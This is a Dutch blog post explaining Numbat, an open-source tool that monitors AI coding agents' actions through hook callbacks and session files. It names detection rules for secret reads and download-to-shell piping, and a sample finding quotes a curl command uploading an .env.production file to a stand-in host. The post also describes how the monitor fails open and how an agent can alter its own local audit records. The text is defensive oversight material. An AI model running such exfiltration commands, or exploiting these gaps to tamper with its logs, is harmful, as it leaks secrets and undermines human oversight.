Wat is Numbat en hoe bewaakt u AI-agents?

Wat Numbat is

Numbat biedt inzicht in de acties die een AI-agent uitvoert op een machine die u beheert. Het leest de hook-callbacks en sessiebestanden die programmeer-agents reeds genereren, normaliseert deze naar één gebeurtenisformaat en toetst ze aan regels die reageren op gedrag zoals het lezen van een SSH-privésleutel of het direct doorsluizen van een download naar een shell. Perplexity heeft de tool als open source uitgebracht onder de Apache 2.0-licentie, met de eerste getagde release op 29 juli 2026.

Alles hieronder is afkomstig uit de repository van het project en de bijbehorende documentatie, geraadpleegd op 2 augustus 2026. Waar Perplexity een bewering doet, wordt dit in dit bericht vermeld. Dit is geen installatiehandleiding, aangezien de repository pas enkele dagen oud is en de bijbehorende commando's nog zullen veranderen.

Het probleem: niemand legt vast wat de agent heeft uitgevoerd

Een coding agent op uw VPS voert shell-commando's uit, leest bestanden, schrijft bestanden en opent netwerkverbindingen, allemaal onder de gebruiker die u aan de agent heeft toegewezen. Uw shell-geschiedenis legt niets hiervan vast, omdat de agent niet in uw shell typt. sshd logt uw inlogpoging en niets van wat het model daarna heeft besloten te doen. /var/log/auth.log blijft stil tenzij er iets toegang zocht tot sudo. De agent houdt een eigen transcript bij, maar dat bestand bevindt zich in de sessiemap van de agent, het formaat wijzigt tussen releases en het proces van de agent zelf kan erin schrijven.

Dus wanneer iemand vraagt of de agent afgelopen dinsdag .env.production heeft gelezen, is het eerlijke antwoord op de meeste servers dat u dat niet kunt achterhalen. Dat gat is de reden waarom dit project bestaat.

Wat Perplexity beweert dat Numbat doet

De README opent met de beschrijving van de tool als "endpoint-zichtbaarheid in AI-agentactiviteit, met lokale detectie, optionele pre-action blocking en forensische reconstructie". Endpoint betekent hier de machine waarop de agent draait, niet een netwerkapparaat dat van buitenaf meekijkt. Dit zijn afzonderlijke mogelijkheden met een verschillend gewicht.

Detectie draait op het apparaat zelf. Regels worden geschreven in CEL (common expression language) en lokaal geëvalueerd, aangevuld met regels voor sequenties van meerdere stappen en ondersteuning voor eigen regels in YAML. Er hoeft niets de machine te verlaten om een regel te laten triggeren.

Blokkering is optioneel en beperkt. Het werkt alleen via synchrone pre-action hooks, op agents die deze aanbieden, en staat standaard uit totdat u het inschakelt.

Reconstructie vindt achteraf plaats. numbat scan parseert sessie-artefacten die een agent al naar de schijf heeft geschreven, zodat u activiteit kunt inzien van vóór de installatie. Het project begrenst deze claim zorgvuldig: "Reconstructie van data-at-rest is geen schijf- of geheugenacquisitie en kan geen activiteit herstellen die een agent niet heeft opgeslagen."

De output is versiebeheerde NDJSON (newline delimited JSON) die gebeurtenissen, bevindingen, handhavingsbeslissingen, indicatoren en scansamenvattingen bevat, met schemaversie 0.2.0 vanaf v0.1.2. Records worden naar stdout of een lokaal bestand geschreven, en optioneel via HTTP naar een collector die u zelf beheert. Het wordt geleverd als één statisch Go-binary, gebouwd zonder cgo, voor macOS, Linux en Windows op amd64 en arm64. Op een Linux VPS is het dus één enkel bestand zonder dat er eerst een runtime geïnstalleerd hoeft te worden.

Welke agents kan Numbat daadwerkelijk zien?

De dekkingsmatrix in docs/agent-coverage.md is de officiële lijst, en deze is ongelijk verdeeld. Het project vermeldt dit expliciet in plaats van het te verbergen. Claude Code, Codex, Gemini CLI, Cursor en GitHub Copilot CLI beschikken zowel over artifact-scanning als live-capture met een pre-action hook. OpenClaw krijgt vanaf versie 2026.7.1 een native plugin. Een lange lijst met vermeldingen is gemarkeerd als uitgesteld; dit betekent dat er wel een pad voor een live hook bestaat, maar dat de artifact-parser ontbreekt. Dit komt vaak doordat de betreffende agent zijn geschiedenis opslaat in SQLite met een write-ahead log die niet veilig uitgelezen kan worden terwijl de agent actief is. OpenCode en Cline vielen in deze groep toen de matrix op 2 augustus 2026 werd ingelezen.

Controleer de rij voor uw agent voordat u plannen maakt rondom deze tool, aangezien "ondersteund" op vrijwel elke regel iets anders betekent.

Hoe een detectie eruitziet

Regels bevatten id's die aangeven waarvoor ze dienen. secrets.read_private_key heeft betrekking op een SSH key, AWS credentials, een kube config of een login voor een package registry. exec.download_pipe_shell wordt geactiveerd wanneer de output van curl of wget naar een interpreter wordt gepiped. privilege.elevated_shell detecteert een verzoek voor een interactieve root shell via sudo, doas, su of pkexec. impact.cryptomining_launch komt overeen met bekende miner-binaries en image-namen.

Sequence rules koppelen gebeurtenissen binnen één sessie. chain.secret_read_then_egress vereist het lezen van een geheim bestand, gevolgd door een commando dat gegevens naar buiten verplaatst. De README publiceert de onderstaande bevinding op basis van een gecontroleerde replay van twee Claude Code pre-action callbacks, niet op basis van een live incident. Het is hier ingekort tot de relevante velden:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Let op "confidence": "medium" in het record en let op wat het project zegt over deze gehele klasse van output: "Bevindingen zijn regelmatches, geen bewijs van een inbreuk." Een deploy-script dat een key leest en vervolgens een build-artifact uploadt, zal dezelfde sequence rule triggeren. De match is correct, maar het alarm is onterecht; dit is de normale toestand van elk detectietool dat u ooit heeft gebruikt.

Blokkering staat standaard uit en werkt volgens het 'fail-open'-principe

Elke regel die Numbat meelevert, is uitsluitend bedoeld voor monitoring. Het omzetten van een regel naar een blokkerende actie vereist een bewuste handeling: kopieer de volledige YAML van de regel naar uw eigen directory, behoud hetzelfde id, voeg enforce: true toe, verhoog het versienummer en valideer en installeer vervolgens dat beleid.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Nu het onderdeel dat bepaalt in hoeverre u het systeem kunt vertrouwen. De 'deny'-actie van Numbat is een respons die wordt teruggegeven aan de agent, en de agent is het onderdeel dat de tool-aanroep daadwerkelijk weigert. De handleiding voor handhaving is duidelijk over wat er gebeurt wanneer Numbat zelf een probleem ondervindt: "Misvormde payloads, relevante evaluatiefouten, panics en outputfouten onderdrukken de numbat deny." De input voor de hook is beperkt tot 4 MiB; input die deze limiet overschrijdt, volgt hetzelfde pad.

De handleiding is eveneens direct over de beperking van een 'deny' die wel wordt verwerkt: "Fail-open betekent dat numbat de deny-respons achterhoudt. Dit garandeert niet dat de tool wordt uitgevoerd: de host kan nog steeds een prompt tonen, de actie weigeren, een time-out geven of een andere hook of beleidsregel toepassen."

Handhaving is hier dus een vangrail, geen harde grens. Als het proces crasht, wordt de actie niet door Numbat geblokkeerd, omdat een monitor die uw agent bevriest zodra er een fout optreedt, binnen een week wordt verwijderd. Deze afweging is redelijk. Bouw simpelweg geen beveiligingsmodel dat ervan uitgaat dat de 'deny' altijd aankomt.

Waar Numbat past naast uw huidige werkwijze

Numbat draait op het eindpunt, binnen de eigen procesboom van de agent, en schrijft standaard naar ~/.numbat/records.ndjson. Een agent die onder uw gebruiker draait, kan dat bestand lezen. Deze kan het ook bewerken. Het auditspoor is precies evenveel waard als de isolatie eromheen; dit plaatst elke controle die u al heeft vóór deze controle in plaats van erachter.

Het geven van een wegwerp-VM aan de programmeer-agent begrenst wat een foutieve uitvoering kan bereiken. Een gebruiker met minimale rechten op de VPS houdt de agent weg bij bestanden die deze niet hoeft te openen. Het buiten de context van de agent houden van inloggegevens zorgt ervoor dat een secrets.read_private_key-overeenkomst zeldzaam genoeg is om de moeite waard te zijn om te lezen wanneer deze afgaat. En de sandbox die u heeft opgezet voor Claude Code op een VPS blijft het middel dat voor insluiting zorgt. Insluiting begrenst wat een foutieve uitvoering kan aanraken, terwijl het noteren waarom de code op die manier is vormgegeven vermindert hoe vaak de agent iets doet dat verrassend genoeg is om u naar het logbestand te sturen.

Wat Numbat toevoegt is het verslag, dus stuur het verslag naar een plek waar de agent niet bij kan. numbat ship en de HTTP-sink bestaan daarvoor. Een kopie van de stream op een tweede machine is het verschil tussen een logbestand en bewijsmateriaal. Het eventmodel bevat ook MCP-velden (model context protocol), waardoor tool-aanroepen die via een door u op een VPS gehoste MCP-server verlopen, in dezelfde stream terechtkomen als lokale shell-commando's. Dit is van belang omdat dat pad onzichtbaar is voor alles wat alleen bash in de gaten houdt. Dezelfde blinde vlek geldt voor een SearXNG-instantie die is gekoppeld als zoek-backend van de agent, waarbij het risico binnenkomt als niet-vertrouwde paginatekst die in de context van het model terechtkomt, in plaats van als een commando dat door een regel kan worden herkend.

Probeer het eerst alleen-lezen

Installeer een vastgezette versie. Go 1.26.5 of nieuwer is vereist voor go install, en de releases-pagina bevat vooraf gecompileerde binaries met SHA-256 checksums als u liever niet vanuit de broncode bouwt.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents detecteert agents die op de machine zijn geïnstalleerd. numbat scan parseert de sessie-artefacten die al op de schijf staan en drukt records af. De README vermeldt dat deze commando's "geen hooks installeren of de configuratie van de agent wijzigen", en dat numbat "nooit agents of commando's uitvoert die in artefacten worden gevonden, en alleen uitgaande verzoeken doet naar geconfigureerde HTTP-sinks". Scannen is alleen-lezen met redactie van geheimen, en de normale record-output bevat nooit een volledig ruw transcript.

Live capture is de volgende stap, en dit wijzigt wel de configuratie van de agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all schrijft gebeurtenissen, bevindingen, indicatoren en toepasbare handhavingsbesluiten naar ~/.numbat/records.ndjson. Twee waarschuwingen komen rechtstreeks van het project. Hooks moeten mogelijk eerst in de agent worden vertrouwd voordat ze überhaupt worden uitgevoerd, en dat vertrouwen moet opnieuw worden beoordeeld nadat u vlaggen zoals --enforce wijzigt. En hook status "verifieert de configuratie, niet de uitvoering of aflevering", dus een gezonde statusregel is geen bewijs dat records ergens aankomen.

Waarom een repository die zo nieuw is, geen dependency moet zijn

De publieke releases zijn v0.1.1 op 29 juli 2026 en v0.1.2 op 1 augustus 2026. De repository had 597 sterren toen dit bericht werd geschreven op 2 augustus 2026. Dergelijke snelle cijfers weerspiegelen het publiek van Perplexity, niet de kwaliteit van de code. Een ster betekent dat iemand de pagina heeft opgeslagen om deze later te bekijken.

Het versienummer is eerlijk over de huidige status. De v0.1.2-notities betreffen voornamelijk correcties voor het redigeren van inloggegevens, plus werk aan case-bundels en normalisatie van telemetrie. Redactiefouten zijn de verwachte vorm van vroege defecten in een tool die als taak heeft om transcripties van andere programma's veilig te lezen. Er zullen er meer volgen, omdat de input afkomstig is van een dozijn agents die elk hun eigen formaat wijzigen volgens hun eigen planning.

Hieruit volgen twee praktische regels. Pin de tag, nooit @latest, in alles wat u behoudt. En behandel het als een instrument dat u evalueert in plaats van een controle waar u op vertrouwt, in ieder geval totdat het recordschema stabiel is.

FAQ

Blokkeert Numbat gevaarlijke AI-agentcommando's?

Alleen als u zich hiervoor aanmeldt, en uitsluitend op basis van 'best effort'. Elke regel die Numbat meelevert, staat standaard in de monitor-modus. Om acties te blokkeren, kopieert u de YAML van de regel naar uw eigen directory, behoudt u het id, voegt u enforce: true toe, verhoogt u het versienummer en installeert u de hook met --enforce. Zelfs dan is de weigering slechts een respons die naar de agent wordt teruggestuurd; de agent is degene die de aanroep weigert. Het project documenteert een 'fail-open'-gedrag: misvormde payloads, evaluatiefouten, panics en outputfouten onderdrukken de weigering. Gebruik het als vangrail, niet als uw enige beveiligingsgrens.

Welke AI-agents ondersteunt Numbat?

De dekking verschilt per agent en staat vermeld in docs/agent-coverage.md in de repository. Claude Code, Codex, Gemini CLI, Cursor en GitHub Copilot CLI boden zowel artifact-scanning als live-capture op het moment dat die pagina werd gelezen op 2 augustus 2026, en OpenClaw heeft een native plugin vanaf versie 2026.7.1. Veel andere agents staan vermeld met een live hook-pad maar nog zonder artifact-parser, meestal omdat hun sessiegeschiedenis zich in een SQLite-database bevindt die niet veilig uit te lezen is terwijl de agent actief is. Lees de rij voor uw specifieke agent, aangezien de term "ondersteund" daar verschillende niveaus van integratie dekt.

Kan de agent de records van Numbat manipuleren?

Ja, als deze onder dezelfde gebruiker draait. Records worden standaard opgeslagen in ~/.numbat/records.ndjson op dezelfde machine als de agent, dus alles met schrijfrechten op dat pad kan ze wijzigen of verwijderen. Stuur de stream naar een collector die de agent niet kan bereiken, met numbat ship of de HTTP-sink, en bewaar het lokale bestand als een handige kopie. Dit is ook de reden waarom de tool isolatie aanvult in plaats van vervangt. Een agent die beperkt is tot een tijdelijke VM onder een gebruiker met minimale rechten, heeft veel minder invloed op zijn eigen audit-trail.

Is Numbat klaar voor een productieserver?

Niet als een controlemechanisme waar u afhankelijk van bent. De eerste publieke release was v0.1.1 op 29 juli 2026 en v0.1.2 volgde op 1 augustus 2026; de flags en het recordschema zijn dus nog in beweging. Het draaien van numbat agents en numbat scan op een server is alleen-lezen en brengt weinig risico met zich mee; het geeft u inzicht in wat uw agents op de schijf achterlaten. Het installeren van handhavings-hooks op een kritieke server is een andere beslissing, die een vastgezette tag en een plan vereist voor het geval de hook onverwacht gedrag vertoont.